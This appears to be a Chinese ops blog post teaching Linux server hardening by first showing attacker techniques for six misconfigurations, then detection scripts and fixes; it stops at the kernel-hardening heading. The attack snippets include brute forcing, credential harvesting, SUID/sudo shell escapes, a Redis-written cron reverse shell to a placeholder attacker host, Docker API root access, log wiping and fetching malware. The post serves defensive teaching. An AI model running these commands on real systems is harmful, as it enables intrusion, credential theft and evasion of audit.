关注「Raymond运维」公众号,并设为「星标」,也可以扫描底部二维码加入群聊,第一时间获取最新内容,不再错过精彩内容。
黑客视角的运维安全:这 7 个 Linux 服务器配置漏洞,你中招了吗?
一、概述
1.1 背景介绍
在安全领域有一句话:“攻击者只需要找到一个漏洞,而防御者需要保护所有入口。” 作为运维工程师,我们每天都在和服务器打交道,但很多人对安全配置的重要性认识不足,认为"内网没事"、“防火墙挡着呢”。
本文将以攻击者的视角,深入剖析 7 个最常见的 Linux 服务器配置漏洞。这些漏洞不是理论上的可能性,而是我在真实的渗透测试和安全审计中反复遇到的"常客"。通过了解攻击者如何利用这些漏洞,你将更深刻地理解为什么要做好这些配置,以及如何正确地加固它们。
1.2 技术特点
- • 深度剖析:不仅告诉你怎么做,更解释为什么这么做
1.3 适用场景
1.4 环境要求
二、漏洞一:SSH 配置不当
2.1 漏洞描述
SSH 是服务器管理的"大门",配置不当就像大门没上锁。我在渗透测试中,SSH 暴力破解和密钥窃取是最常用的初始入侵手段之一。
2.2 攻击者视角
◆ 2.2.1 攻击手法一:暴力破解
# 攻击者常用工具:Hydrahydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip# 或使用 Medusamedusa -h target_ip -u root -P passwords.txt -M ssh
为什么能成功:
◆ 2.2.2 攻击手法二:密钥窃取
# 攻击者在已入侵的机器上搜索 SSH 私钥find / -name "id_rsa" 2>/dev/nullfind / -name "*.pem" 2>/dev/null# 检查 known_hosts 找到其他可跳转的服务器cat ~/.ssh/known_hosts# 利用窃取的私钥横向移动ssh -i stolen_key.pem user@internal_server
◆ 2.2.3 攻击手法三:SSH Agent 劫持
# 攻击者劫持正在运行的 SSH Agentexport SSH_AUTH_SOCK=$(ls /tmp/ssh-*/agent.* 2>/dev/null | head -1)ssh-add -l # 列出已加载的密钥ssh user@another_server # 无需密码直接登录
2.3 漏洞检测
#!/bin/bash# SSH 安全配置检测脚本echo"=== SSH 安全配置检查 ==="# 检查 root 登录ROOT_LOGIN=$(grep "^PermitRootLogin" /etc/ssh/sshd_config | awk '{print $2}')if [ "$ROOT_LOGIN" != "no" ] && [ "$ROOT_LOGIN" != "prohibit-password" ]; thenecho"[危险] 允许 root 密码登录: $ROOT_LOGIN"elseecho"[安全] root 登录配置: $ROOT_LOGIN"fi# 检查密码认证PASS_AUTH=$(grep "^PasswordAuthentication" /etc/ssh/sshd_config | awk '{print $2}')if [ "$PASS_AUTH" == "yes" ]; thenecho"[警告] 允许密码认证,建议使用密钥认证"elseecho"[安全] 密码认证已禁用"fi# 检查 SSH 端口SSH_PORT=$(grep "^Port" /etc/ssh/sshd_config | awk '{print $2}')if [ -z "$SSH_PORT" ] || [ "$SSH_PORT" == "22" ]; thenecho"[警告] 使用默认端口 22,建议修改"elseecho"[安全] SSH 端口: $SSH_PORT"fi# 检查空密码登录EMPTY_PASS=$(grep "^PermitEmptyPasswords" /etc/ssh/sshd_config | awk '{print $2}')if [ "$EMPTY_PASS" == "yes" ]; thenecho"[危险] 允许空密码登录"elseecho"[安全] 空密码登录已禁用"fi# 检查 SSH 协议版本PROTOCOL=$(grep "^Protocol" /etc/ssh/sshd_config | awk '{print $2}')if [ "$PROTOCOL" == "1" ] || [ "$PROTOCOL" == "1,2" ]; thenecho"[危险] 使用不安全的 SSH 协议版本 1"elseecho"[安全] SSH 协议版本配置正确"fi
2.4 加固方案
◆ 2.4.1 SSH 配置文件加固
# /etc/ssh/sshd_config 推荐配置# 禁止 root 直接登录PermitRootLogin no# 或者只允许密钥登录# PermitRootLogin prohibit-password# 修改默认端口(选择 1024-65535 之间的端口)Port 52222# 只使用 SSH 协议 2Protocol 2# 禁用密码认证,只允许密钥认证PasswordAuthentication noPubkeyAuthentication yes# 禁止空密码PermitEmptyPasswords no# 限制认证尝试次数MaxAuthTries 3# 设置登录超时LoginGraceTime 30# 禁用 X11 转发(如不需要)X11Forwarding no# 禁用 TCP 转发(如不需要)AllowTcpForwarding no# 禁用 Agent 转发(如不需要)AllowAgentForwarding no# 限制可登录的用户AllowUsers deploy admin# 设置空闲超时ClientAliveInterval 300ClientAliveCountMax 2# 使用更安全的加密算法Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctrMACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521# 记录更多日志LogLevel VERBOSE
◆ 2.4.2 配置 Fail2Ban 防止暴力破解
# 安装 Fail2Ban# CentOS/RHELsudo yum install -y epel-releasesudo yum install -y fail2ban# Ubuntu/Debiansudo apt updatesudo apt install -y fail2ban
# /etc/fail2ban/jail.local[DEFAULT]# 封禁时间(秒)bantime = 3600# 检测时间窗口(秒)findtime = 600# 最大失败次数maxretry = 3# 忽略的 IP(白名单)ignoreip = 127.0.0.1/810.0.0.0/8[sshd]enabled = trueport = 52222# 修改为你的 SSH 端口filter = sshdlogpath = /var/log/auth.log # Ubuntu# logpath = /var/log/secure # CentOSmaxretry = 3bantime = 86400# 24小时
# 启动 Fail2Bansudo systemctl enable fail2bansudo systemctl start fail2ban# 查看封禁状态sudo fail2ban-client status sshd
◆ 2.4.3 SSH 密钥安全管理
# 生成强密钥(推荐 Ed25519)ssh-keygen -t ed25519 -C "your_email@example.com"# 或使用 RSA 4096 位ssh-keygen -t rsa -b 4096 -C "your_email@example.com"# 为私钥设置强密码保护ssh-keygen -p -f ~/.ssh/id_ed25519# 设置正确的权限chmod 700 ~/.sshchmod 600 ~/.ssh/id_ed25519chmod 644 ~/.ssh/id_ed25519.pubchmod 600 ~/.ssh/authorized_keys
三、漏洞二:弱密码和凭据管理不当
3.1 漏洞描述
密码是最后一道防线,但也是最薄弱的环节。我见过太多服务器使用 admin123、root@123、公司名+年份 这样的"企业级弱密码"。
3.2 攻击者视角
◆ 3.2.1 密码喷洒攻击
# 攻击者使用少量常见密码尝试大量用户# 避开账户锁定策略for user in $(cat users.txt); doecho"Trying $user:Company2024" sshpass -p 'Company2024' ssh -o StrictHostKeyChecking=no $user@target 2>/dev/null && echo"SUCCESS: $user"sleep 3 # 避免触发速率限制done
◆ 3.2.2 凭据收集
# 攻击者在已入侵的服务器上搜索密码# 搜索配置文件中的密码grep -r "password" /etc/ 2>/dev/nullgrep -r "passwd" /var/www/ 2>/dev/nullgrep -rni "password\s*=" . 2>/dev/null# 搜索历史命令中的密码cat ~/.bash_history | grep -i "password\|passwd\|pwd\|mysql.*-p"# 搜索环境变量env | grep -i "pass\|key\|secret\|token"# 搜索数据库连接配置find /var/www -name "*.php" -exec grep -l "mysql_connect\|mysqli" {} \;find /var/www -name "*.env" -execcat {} \;# 搜索 .git 目录中的敏感信息find / -name ".git" -type d 2>/dev/nullgit log --all --oneline -- "*password*""*secret*""*.env"
◆ 3.2.3 哈希破解
# 获取 /etc/shadow 后离线破解# 使用 John the Ripperjohn --wordlist=/usr/share/wordlists/rockyou.txt shadow_file# 使用 Hashcat(GPU 加速)hashcat -m 1800 -a 0 shadow_hashes.txt wordlist.txt
3.3 漏洞检测
#!/bin/bash# 密码策略检查脚本echo"=== 密码安全配置检查 ==="# 检查密码复杂度策略(PAM)if [ -f /etc/security/pwquality.conf ]; thenecho"[检查] pwquality.conf 配置:" grep -E "^(minlen|dcredit|ucredit|lcredit|ocredit|minclass)" /etc/security/pwquality.confelseecho"[警告] 未找到 pwquality.conf,可能未配置密码复杂度策略"fi# 检查密码过期策略echo""echo"[检查] 密码过期策略 (/etc/login.defs):"grep -E "^(PASS_MAX_DAYS|PASS_MIN_DAYS|PASS_WARN_AGE)" /etc/login.defs# 检查是否有用户永不过期echo""echo"[检查] 密码永不过期的用户:"for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do expire=$(chage -l $user 2>/dev/null | grep "Password expires" | cut -d: -f2)if [ "$expire" == " never" ]; thenecho" - $user: 密码永不过期"fidone# 检查空密码用户echo""echo"[检查] 空密码用户:"awk -F: '($2 == "" || $2 == "!") && $1 != "root" {print " - "$1}' /etc/shadow 2>/dev/null# 检查 root 以外的 UID 为 0 的用户echo""echo"[检查] UID 为 0 的用户:"awk -F: '$3 == 0 {print " - "$1}' /etc/passwd
3.4 加固方案
◆ 3.4.1 配置密码复杂度策略
# Ubuntu/Debiansudo apt install -y libpam-pwquality# CentOS/RHELsudo yum install -y pam_pwquality
# /etc/security/pwquality.conf# 最小密码长度minlen = 14# 至少包含 1 个数字dcredit = -1# 至少包含 1 个大写字母ucredit = -1# 至少包含 1 个小写字母lcredit = -1# 至少包含 1 个特殊字符ocredit = -1# 至少包含 3 类字符minclass = 3# 新密码与旧密码至少有 5 个字符不同difok = 5# 禁止使用用户名作为密码usercheck = 1# 禁止回文密码gecoscheck = 1# 拒绝包含字典单词的密码dictcheck = 1
◆ 3.4.2 配置密码过期策略
# /etc/login.defsPASS_MAX_DAYS 90 # 密码最长有效期 90 天PASS_MIN_DAYS 7 # 密码最短使用期 7 天(防止立即改回原密码)PASS_WARN_AGE 14 # 密码过期前 14 天警告
# 对现有用户应用策略for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do chage -M 90 -m 7 -W 14 $userdone# 查看用户密码信息chage -l username
◆ 3.4.3 配置密码历史
# /etc/pam.d/system-auth 或 /etc/pam.d/common-passwordpassword requisite pam_pwquality.so retry=3password required pam_pwhistory.so remember=12 use_authtokpassword sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok
◆ 3.4.4 敏感凭据管理
# 使用环境变量或 Secret 管理工具,而不是明文配置# 1. 使用 .env 文件(确保不提交到版本控制)echo".env" >> .gitignorechmod 600 .env# 2. 使用 HashiCorp Vaultvault kv put secret/database password="very-secure-password"# 3. 使用 AWS Secrets Manager、GCP Secret Manager 等云服务# 4. 禁止在命令行中直接输入密码# 错误示范mysql -u root -pMyPassword # 密码会出现在进程列表和历史记录中# 正确示范mysql -u root -p # 交互式输入密码mysql --defaults-extra-file=/root/.my.cnf # 使用配置文件
四、漏洞三:权限配置不当
4.1 漏洞描述
Linux 的权限模型是安全的基石,但配置不当就会变成"瑞士奶酪"——到处都是洞。最常见的问题包括:SUID/SGID 滥用、目录权限过松、sudo 配置不当。
4.2 攻击者视角
◆ 4.2.1 SUID 提权
# 攻击者搜索 SUID 文件find / -perm -4000 -type f 2>/dev/null# 常见的可利用 SUID 程序# 如果 find 有 SUID 位find . -exec /bin/sh -p \; -quit# 如果 vim 有 SUID 位vim -c ':!/bin/sh'# 如果 nmap 有 SUID 位(旧版本)nmap --interactive!sh# 如果 python 有 SUID 位python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
GTFOBins:攻击者经常参考的 SUID 提权技巧集合(https://gtfobins.github.io/)
◆ 4.2.2 sudo 配置利用
# 检查当前用户的 sudo 权限sudo -l# 常见的可利用 sudo 配置# (ALL) NOPASSWD: /usr/bin/vimsudo vim -c ':!/bin/sh'# (ALL) NOPASSWD: /usr/bin/findsudo find . -exec /bin/sh \; -quit# (ALL) NOPASSWD: /usr/bin/awksudo awk 'BEGIN {system("/bin/sh")}'# (ALL) NOPASSWD: /usr/bin/lesssudo less /etc/passwd!/bin/sh# (ALL) NOPASSWD: /usr/bin/envsudoenv /bin/sh
◆ 4.2.3 敏感文件权限利用
# 检查敏感文件的权限ls -la /etc/passwd /etc/shadow /etc/sudoers# 如果 /etc/passwd 可写,添加一个 root 用户# 生成密码哈希openssl passwd -1 -salt evil password123# 写入 /etc/passwdecho'evil:$1$evil$H...//:0:0::/root:/bin/bash' >> /etc/passwd# 如果 /etc/shadow 可读,离线破解密码cat /etc/shadow# 如果某些脚本 world-writablefind /etc/cron* -perm -0002 -type f 2>/dev/null# 可以修改定时任务脚本来执行恶意代码
4.3 漏洞检测
#!/bin/bash# 权限配置安全检查脚本echo"=== 权限配置安全检查 ==="# 检查危险的 SUID 文件echo""echo"[检查] 异常的 SUID 文件:"DANGEROUS_SUID="vim|vi|nano|find|awk|sed|perl|python|ruby|php|node|less|more|bash|sh|zsh|env|time|strace"find /usr -perm -4000 -type f 2>/dev/null | grep -E "$DANGEROUS_SUID" | whileread f; doecho" [危险] $f"done# 检查 world-writable 的敏感目录echo""echo"[检查] world-writable 的系统目录:"find /etc /usr /var -type d -perm -0002 2>/dev/null | whileread d; doecho" [警告] $d"done# 检查敏感文件权限echo""echo"[检查] 敏感文件权限:"for file in /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config; doif [ -f "$file" ]; then perms=$(stat -c "%a"$file) owner=$(stat -c "%U:%G"$file)echo" $file: $perms ($owner)"fidone# 检查 /etc/shadow 是否可被非 root 用户读取if [ -r /etc/shadow ]; thenif [ "$(id -u)" -ne 0 ]; thenecho" [危险] /etc/shadow 可被当前用户读取"fifi# 检查 sudoers 配置echo""echo"[检查] sudo NOPASSWD 配置:"grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#" | whileread line; doecho" $line"done# 检查无密码用户echo""echo"[检查] /etc/passwd 中 shell 为 /bin/bash 的用户:"awk -F: '$7 ~ /bash/ {print " - "$1": UID="$3", GID="$4}' /etc/passwd
4.4 加固方案
◆ 4.4.1 清理不必要的 SUID/SGID
# 查找所有 SUID/SGID 文件find / -perm /6000 -type f -execls -la {} \; 2>/dev/null# 移除不必要的 SUID 位chmod u-s /usr/bin/dangerous_programchmod g-s /usr/bin/dangerous_program# 常见的不应有 SUID 的程序for prog in vim vi nano nmap perl python python3 ruby php find less more awk; do path=$(which$prog 2>/dev/null)if [ -n "$path" ] && [ -u "$path" ]; thenecho"Removing SUID from $path"chmod u-s "$path"fidone
◆ 4.4.2 配置安全的 sudoers
# /etc/sudoers 推荐配置(使用 visudo 编辑)# 默认设置Defaults env_resetDefaults mail_badpassDefaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"Defaults logfile="/var/log/sudo.log"Defaults log_input, log_outputDefaults passwd_tries=3Defaults passwd_timeout=1# 禁止 root 登录Defaults !rootpw# 用户组权限(最小权限原则)# 运维人员组:只允许特定命令%ops ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/systemctl restart php-fpm%ops ALL=(ALL) /usr/bin/tail -f /var/log/nginx/*# 开发人员组:只允许部署相关命令%devs ALL=(deploy) NOPASSWD: /home/deploy/scripts/deploy.sh# 管理员组:需要密码的完全权限%admins ALL=(ALL) ALL
◆ 4.4.3 设置正确的文件权限
# 关键文件权限设置chmod 644 /etc/passwd # 所有人可读chmod 600 /etc/shadow # 仅 root 可读chmod 600 /etc/gshadow # 仅 root 可读chmod 644 /etc/group # 所有人可读chmod 440 /etc/sudoers # root 和 sudo 组可读chmod 700 /root # 仅 root 可访问# SSH 目录权限chmod 700 ~/.sshchmod 600 ~/.ssh/authorized_keyschmod 600 ~/.ssh/id_*chmod 644 ~/.ssh/*.pub# Web 目录权限chown -R www-data:www-data /var/wwwchmod -R 755 /var/www # 目录find /var/www -type f -execchmod 644 {} \; # 文件# 日志目录权限chmod 750 /var/logchmod 640 /var/log/auth.logchmod 640 /var/log/syslog
◆ 4.4.4 设置 umask
# /etc/profile 或 /etc/login.defs# 默认 umask 022 太宽松,建议改为 027 或 077# 全局设置echo"umask 027" >> /etc/profile# 对于特别敏感的用户echo"umask 077" >> /home/sensitive_user/.bashrc
五、漏洞四:服务端口和进程暴露
5.1 漏洞描述
每个开放的端口都是一个潜在的入侵入口。很多服务器运行着不必要的服务,或者将内部服务暴露到公网。
5.2 攻击者视角
◆ 5.2.1 端口扫描和服务识别
# 使用 nmap 进行端口扫描nmap -sV -sC -O target_ip# 快速扫描常见端口nmap -F target_ip# 全端口扫描nmap -p- target_ip# UDP 扫描nmap -sU --top-ports 100 target_ip
常见的高危服务:
◆ 5.2.2 Redis 未授权访问利用
# 检测 Redis 未授权访问redis-cli -h target_ip ping# 利用 Redis 写入 SSH 公钥redis-cli -h target_ip> CONFIG SET dir /root/.ssh> CONFIG SET dbfilename "authorized_keys"> SET x "\n\nssh-rsa AAAA...attacker_key...\n\n"> SAVE# 或利用 Redis 写入 Crontab> CONFIG SET dir /var/spool/cron> CONFIG SET dbfilename root> SET x "\n*/1 * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n"> SAVE
◆ 5.2.3 Docker API 未授权访问
# 检测 Docker APIcurl http://target_ip:2375/version# 利用 Docker API 获取 root shelldocker -H tcp://target_ip:2375 run -it -v /:/mnt alpine chroot /mnt sh
5.3 漏洞检测
#!/bin/bash# 端口和服务安全检查echo"=== 端口和服务安全检查 ==="# 检查监听的端口echo""echo"[检查] 当前监听的端口:"ss -tulnp | grep LISTEN# 检查监听 0.0.0.0 的高危服务echo""echo"[检查] 监听所有接口的高危服务:"DANGEROUS_PORTS="21|22|23|3306|5432|6379|27017|9200|2375|2376|5984|8080|8443"ss -tulnp | grep LISTEN | grep "0.0.0.0" | grep -E ":($DANGEROUS_PORTS)" | whileread line; doecho" [警告] $line"done# 检查 Redis 配置if [ -f /etc/redis/redis.conf ]; thenecho""echo"[检查] Redis 配置:"bind=$(grep "^bind" /etc/redis/redis.conf) requirepass=$(grep "^requirepass" /etc/redis/redis.conf) protected=$(grep "^protected-mode" /etc/redis/redis.conf)echo" bind: $bind"echo" requirepass: ${requirepass:-未设置}"echo" protected-mode: ${protected:-未设置}"fi# 检查 Docker 配置ifcommand -v docker &> /dev/null; thenecho""echo"[检查] Docker 配置:"if ss -tulnp | grep -q ":2375"; thenecho" [危险] Docker API 在 2375 端口监听(无 TLS)"fiif [ -S /var/run/docker.sock ]; then perms=$(ls -la /var/run/docker.sock | awk '{print $1}')echo" Docker socket 权限: $perms"fifi# 检查 MySQL 配置if [ -f /etc/mysql/mysql.conf.d/mysqld.cnf ] || [ -f /etc/my.cnf ]; thenecho""echo"[检查] MySQL 配置:" bind_address=$(grep "bind-address" /etc/mysql/mysql.conf.d/mysqld.cnf /etc/my.cnf 2>/dev/null | tail -1)echo" $bind_address"fi
5.4 加固方案
◆ 5.4.1 关闭不必要的服务
# 检查所有启用的服务systemctl list-unit-files --type=service --state=enabled# 禁用不需要的服务sudo systemctl disable --now telnet.socketsudo systemctl disable --now rsh.socketsudo systemctl disable --now rlogin.socketsudo systemctl disable --now rexec.socketsudo systemctl disable --now vsftpd # 如果不需要 FTP# 卸载不需要的软件包sudo apt remove --purge telnetd rsh-serversudo yum remove telnet-server rsh-server
◆ 5.4.2 配置服务仅监听必要的接口
# Redis - 只监听本地# /etc/redis/redis.confbind 127.0.0.1requirepass "YourStrongPassword123!"protected-mode yes# MySQL - 只监听本地# /etc/mysql/mysql.conf.d/mysqld.cnfbind-address = 127.0.0.1# MongoDB - 只监听本地并启用认证# /etc/mongod.confnet: bindIp: 127.0.0.1security: authorization: enabled# Elasticsearch - 只监听本地# /etc/elasticsearch/elasticsearch.ymlnetwork.host: 127.0.0.1xpack.security.enabled: true
◆ 5.4.3 配置防火墙
# 使用 firewalld (CentOS/RHEL)sudo firewall-cmd --permanent --set-default-zone=dropsudo firewall-cmd --permanent --add-service=sshsudo firewall-cmd --permanent --add-port=80/tcpsudo firewall-cmd --permanent --add-port=443/tcpsudo firewall-cmd --reload# 使用 ufw (Ubuntu/Debian)sudo ufw default deny incomingsudo ufw default allow outgoingsudo ufw allow sshsudo ufw allow httpsudo ufw allow httpssudo ufw enable# 使用 iptables(更精细的控制)# 默认策略:拒绝所有入站iptables -P INPUT DROPiptables -P FORWARD DROPiptables -P OUTPUT ACCEPT# 允许已建立的连接iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT# 允许本地回环iptables -A INPUT -i lo -j ACCEPT# 允许 SSH(限制来源 IP)iptables -A INPUT -p tcp --dport 22 -s 10.0.0.0/8 -j ACCEPT# 允许 HTTP/HTTPSiptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp --dport 443 -j ACCEPT# 保存规则iptables-save > /etc/iptables/rules.v4
◆ 5.4.4 Docker 安全配置
# 禁止 Docker API 暴露到网络# /etc/docker/daemon.json{"hosts": ["unix:///var/run/docker.sock"],"tls": true,"tlscacert": "/etc/docker/ca.pem","tlscert": "/etc/docker/server-cert.pem","tlskey": "/etc/docker/server-key.pem","tlsverify": true}# 限制 docker 组成员# 只有受信任的用户才能加入 docker 组getent group docker
六、漏洞五:日志和审计不足
6.1 漏洞描述
没有日志就像闭着眼睛开车——出了事故都不知道怎么发生的。很多服务器要么不记录日志,要么日志记录不全,要么日志没有保护和监控。
6.2 攻击者视角
◆ 6.2.1 清理入侵痕迹
# 攻击者清理日志的常见手法# 清空日志文件(保留文件)> /var/log/auth.log> /var/log/syslog> /var/log/messages# 删除特定行sed -i '/attacker_ip/d' /var/log/auth.log# 清除 bash 历史history -c> ~/.bash_historyexport HISTSIZE=0# 修改文件时间戳(伪装)touch -r /etc/passwd /tmp/malware# 禁用日志服务systemctl stop rsyslog
◆ 6.2.2 禁用审计
# 攻击者禁用 auditdsystemctl stop auditdauditctl -e 0# 清理审计日志> /var/log/audit/audit.log
6.3 漏洞检测
#!/bin/bash# 日志和审计配置检查echo"=== 日志和审计配置检查 ==="# 检查 rsyslog 服务echo"[检查] rsyslog 服务状态:"systemctl is-active rsyslog && echo" 运行中" || echo" [警告] 未运行"# 检查审计服务echo""echo"[检查] auditd 服务状态:"ifcommand -v auditctl &> /dev/null; then systemctl is-active auditd && echo" 运行中" || echo" [警告] 未运行"echo" 审计规则数量: $(auditctl -l 2>/dev/null | wc -l)"elseecho" [警告] auditd 未安装"fi# 检查关键日志文件是否存在且有内容echo""echo"[检查] 关键日志文件:"forlogin /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages; doif [ -f "$log" ]; then size=$(stat -c%s "$log" 2>/dev/null) age=$(stat -c%Y "$log" 2>/dev/null) now=$(date +%s) days_old=$(( (now - age) / 86400 ))echo" $log: ${size} bytes, 最后修改 ${days_old} 天前"if [ "$size" -eq 0 ]; thenecho" [警告] 日志文件为空"fielseecho" $log: 不存在"fidone# 检查日志轮转配置echo""echo"[检查] 日志轮转配置:"if [ -f /etc/logrotate.conf ]; thenecho" logrotate.conf 存在" grep -E "^(weekly|monthly|rotate|compress)" /etc/logrotate.conffi# 检查远程日志配置echo""echo"[检查] 远程日志配置:"if grep -q "^*.*\s*@" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null; thenecho" [安全] 已配置远程日志服务器" grep "^*.*\s*@" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/nullelseecho" [警告] 未配置远程日志服务器"fi
6.4 加固方案
◆ 6.4.1 配置完善的系统日志
# /etc/rsyslog.conf 推荐配置# 高精度时间戳$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat$template CustomFormat,"%timegenerated% %HOSTNAME% %syslogtag%%msg%\n"# 按设施和优先级分类记录auth,authpriv.* /var/log/auth.log*.*;auth,authpriv.none /var/log/syslogkern.* /var/log/kern.logmail.* /var/log/mail.logcron.* /var/log/cron.loguser.* /var/log/user.loglocal0.* /var/log/local0.log# 发送到远程日志服务器(重要!)*.* @@remote-log-server.example.com:514# 使用 @@ 表示 TCP,@ 表示 UDP
◆ 6.4.2 配置 auditd 审计系统
# 安装 auditdsudo apt install -y auditd audispd-plugins # Ubuntu/Debiansudo yum install -y audit # CentOS/RHEL# 启动并设置开机自启sudo systemctl enable auditdsudo systemctl start auditd
# /etc/audit/rules.d/audit.rules 推荐规则# 删除所有现有规则-D# 设置缓冲区大小-b 8192# 设置失败模式(2 = panic,系统进入单用户模式)-f 1# 监控时间更改-a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time-change-a always,exit -F arch=b64 -S clock_settime -k time-change-w /etc/localtime -p wa -k time-change# 监控用户/组更改-w /etc/group -p wa -k identity-w /etc/passwd -p wa -k identity-w /etc/gshadow -p wa -k identity-w /etc/shadow -p wa -k identity-w /etc/security/opasswd -p wa -k identity# 监控网络配置更改-w /etc/hosts -p wa -k system-locale-w /etc/sysconfig/network -p wa -k system-locale-w /etc/sysconfig/network-scripts/ -p wa -k system-locale# 监控登录相关文件-w /var/log/faillog -p wa -k logins-w /var/log/lastlog -p wa -k logins-w /var/log/tallylog -p wa -k logins# 监控会话初始化-w /var/run/utmp -p wa -k session-w /var/log/wtmp -p wa -k logins-w /var/log/btmp -p wa -k logins# 监控 sudoers 文件-w /etc/sudoers -p wa -k scope-w /etc/sudoers.d/ -p wa -k scope# 监控系统管理操作-w /sbin/insmod -p x -k modules-w /sbin/rmmod -p x -k modules-w /sbin/modprobe -p x -k modules# 监控文件删除操作-a always,exit -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -F auid>=1000 -F auid!=4294967295 -k delete# 监控 sudo 使用-a always,exit -F arch=b64 -S execve -C uid!=euid -F euid=0 -k privilege_escalation# 监控 SSH 配置-w /etc/ssh/sshd_config -p wa -k sshd_config# 使规则不可更改(需要重启才能修改规则)-e 2
# 加载审计规则sudo augenrules --loadsudo auditctl -l # 查看当前规则
◆ 6.4.3 日志保护
# 设置日志文件只能追加chattr +a /var/log/auth.logchattr +a /var/log/syslog# 设置正确的权限chmod 640 /var/log/auth.logchmod 640 /var/log/syslogchown root:adm /var/log/auth.logchown root:adm /var/log/syslog# 配置日志轮转# /etc/logrotate.d/rsyslog/var/log/auth.log/var/log/syslog{ rotate 52 weekly missingok notifempty compress delaycompress sharedscripts postrotate /usr/lib/rsyslog/rsyslog-rotate endscript}
◆ 6.4.4 集中日志管理
# 使用 ELK Stack 或 Loki + Grafana# Filebeat 配置示例 (/etc/filebeat/filebeat.yml)filebeat.inputs:-type:logenabled:truepaths:-/var/log/auth.log-/var/log/syslog-/var/log/audit/audit.logfields:type:systemoutput.elasticsearch:hosts: ["https://elasticsearch:9200"]username:"elastic"password:"${ES_PASSWORD}"ssl.verification_mode:full
七、漏洞六:缺乏系统加固
7.1 漏洞描述
默认安装的 Linux 系统有很多不安全的配置,包括:内核参数不安全、文件系统缺乏限制、缺少安全模块等。
7.2 攻击者视角
◆ 7.2.1 利用内核漏洞
# 检查内核版本,寻找已知漏洞uname -r# 著名的内核提权漏洞# Dirty COW (CVE-2016-5195)# Dirty Pipe (CVE-2022-0847)# Polkit (CVE-2021-4034)# 检查是否存在漏洞利用条件cat /proc/sys/kernel/unprivileged_userns_clone # 非特权用户命名空间cat /proc/sys/kernel/unprivileged_bpf_disabled # BPF 权限
◆ 7.2.2 利用 /tmp 执行
# 攻击者在 /tmp 目录编译和执行恶意程序cd /tmpwget http://attacker.com/malware.cgcc malware.c -o malware./malware
◆ 7.2.3 利用 Core Dump
# 某些情况下,Core Dump 可能包含敏感信息# 检查是否启用ulimit -c# Core Dump 可能泄露内存中的密码、密钥等
7.3 漏洞检测
#!/bin/bash# 系统加固检查脚本echo"=== 系统加固检查 ==="# 检查内核参数echo""echo"[检查] 关键内核参数:"params=("net.ipv4.ip_forward:0:IP转发""net.ipv4.conf.all.send_redirects:0:ICMP重定向""net.ipv4.conf.all.accept_redirects:0:接受ICMP重定向""net.ipv4.conf.all.accept_source_route:0:源路由""net.ipv4.conf.all.log_martians:1:记录可疑包""net.ipv4.tcp_syncookies:1:SYN Cookie""kernel.randomize_va_space:2:ASLR""kernel.exec-shield:1:Exec Shield""fs.suid_dumpable:0:SUID Core Dump")for param in"${params[@]}"; do IFS=':'read -r name expected desc <<< "$param" actual=$(sysctl -n $name 2>/dev/null)if [ "$actual" == "$expected" ]; thenecho" [OK] $desc ($name = $actual)"elseecho" [警告] $desc ($name = $actual, 建议 $expected)"fidone# 检查文件系统挂载选项echo""echo"[检查] 关键分区挂载选项:"for mount_point in /tmp /var/tmp /dev/shm; doif mountpoint -q $mount_point 2>/dev/null; then opts=$(findmnt -n -o OPTIONS $mount_point)echo" $mount_point: $opts"if ! echo"$opts" | grep -q "noexec"; thenecho" [警告] 缺少 noexec 选项"fiif ! echo"$opts" | grep -q "nosuid"; thenecho" [警告] 缺少 nosuid 选项"fifidone# 检查 SELinux/AppArmorecho""echo"[检查] 安全模块状态:"ifcommand -v getenforce &> /dev/null; then status=$(getenforce)echo" SELinux: $status"if [ "$status" != "Enforcing" ]; thenecho" [警告] 建议启用 Enforcing 模式"fielifcommand -v aa-status &> /dev/null; then profiles=$(aa-status --enabled 2>/dev/null && echo"已启用" || echo"未启用")echo" AppArmor: $profiles"elseecho" [警告] 未检测到 SELinux 或 AppArmor"fi# 检查系统更新echo""echo"[检查] 系统更新状态:"ifcommand -v apt &> /dev/null; then updates=$(apt list --upgradable 2>/dev/null | wc -l) security=$(apt list --upgradable 2>/dev/null | grep -i security | wc -l)echo" 可用更新: $updates 个,其中安全更新: $security 个"elifcommand -v yum &> /dev/null; then updates=$(yum check-update --quiet 2>/dev/null | wc -l)echo" 可用更新: $updates 个"fi
7.4 加固方案
◆ 7.4.1 内核参数加固
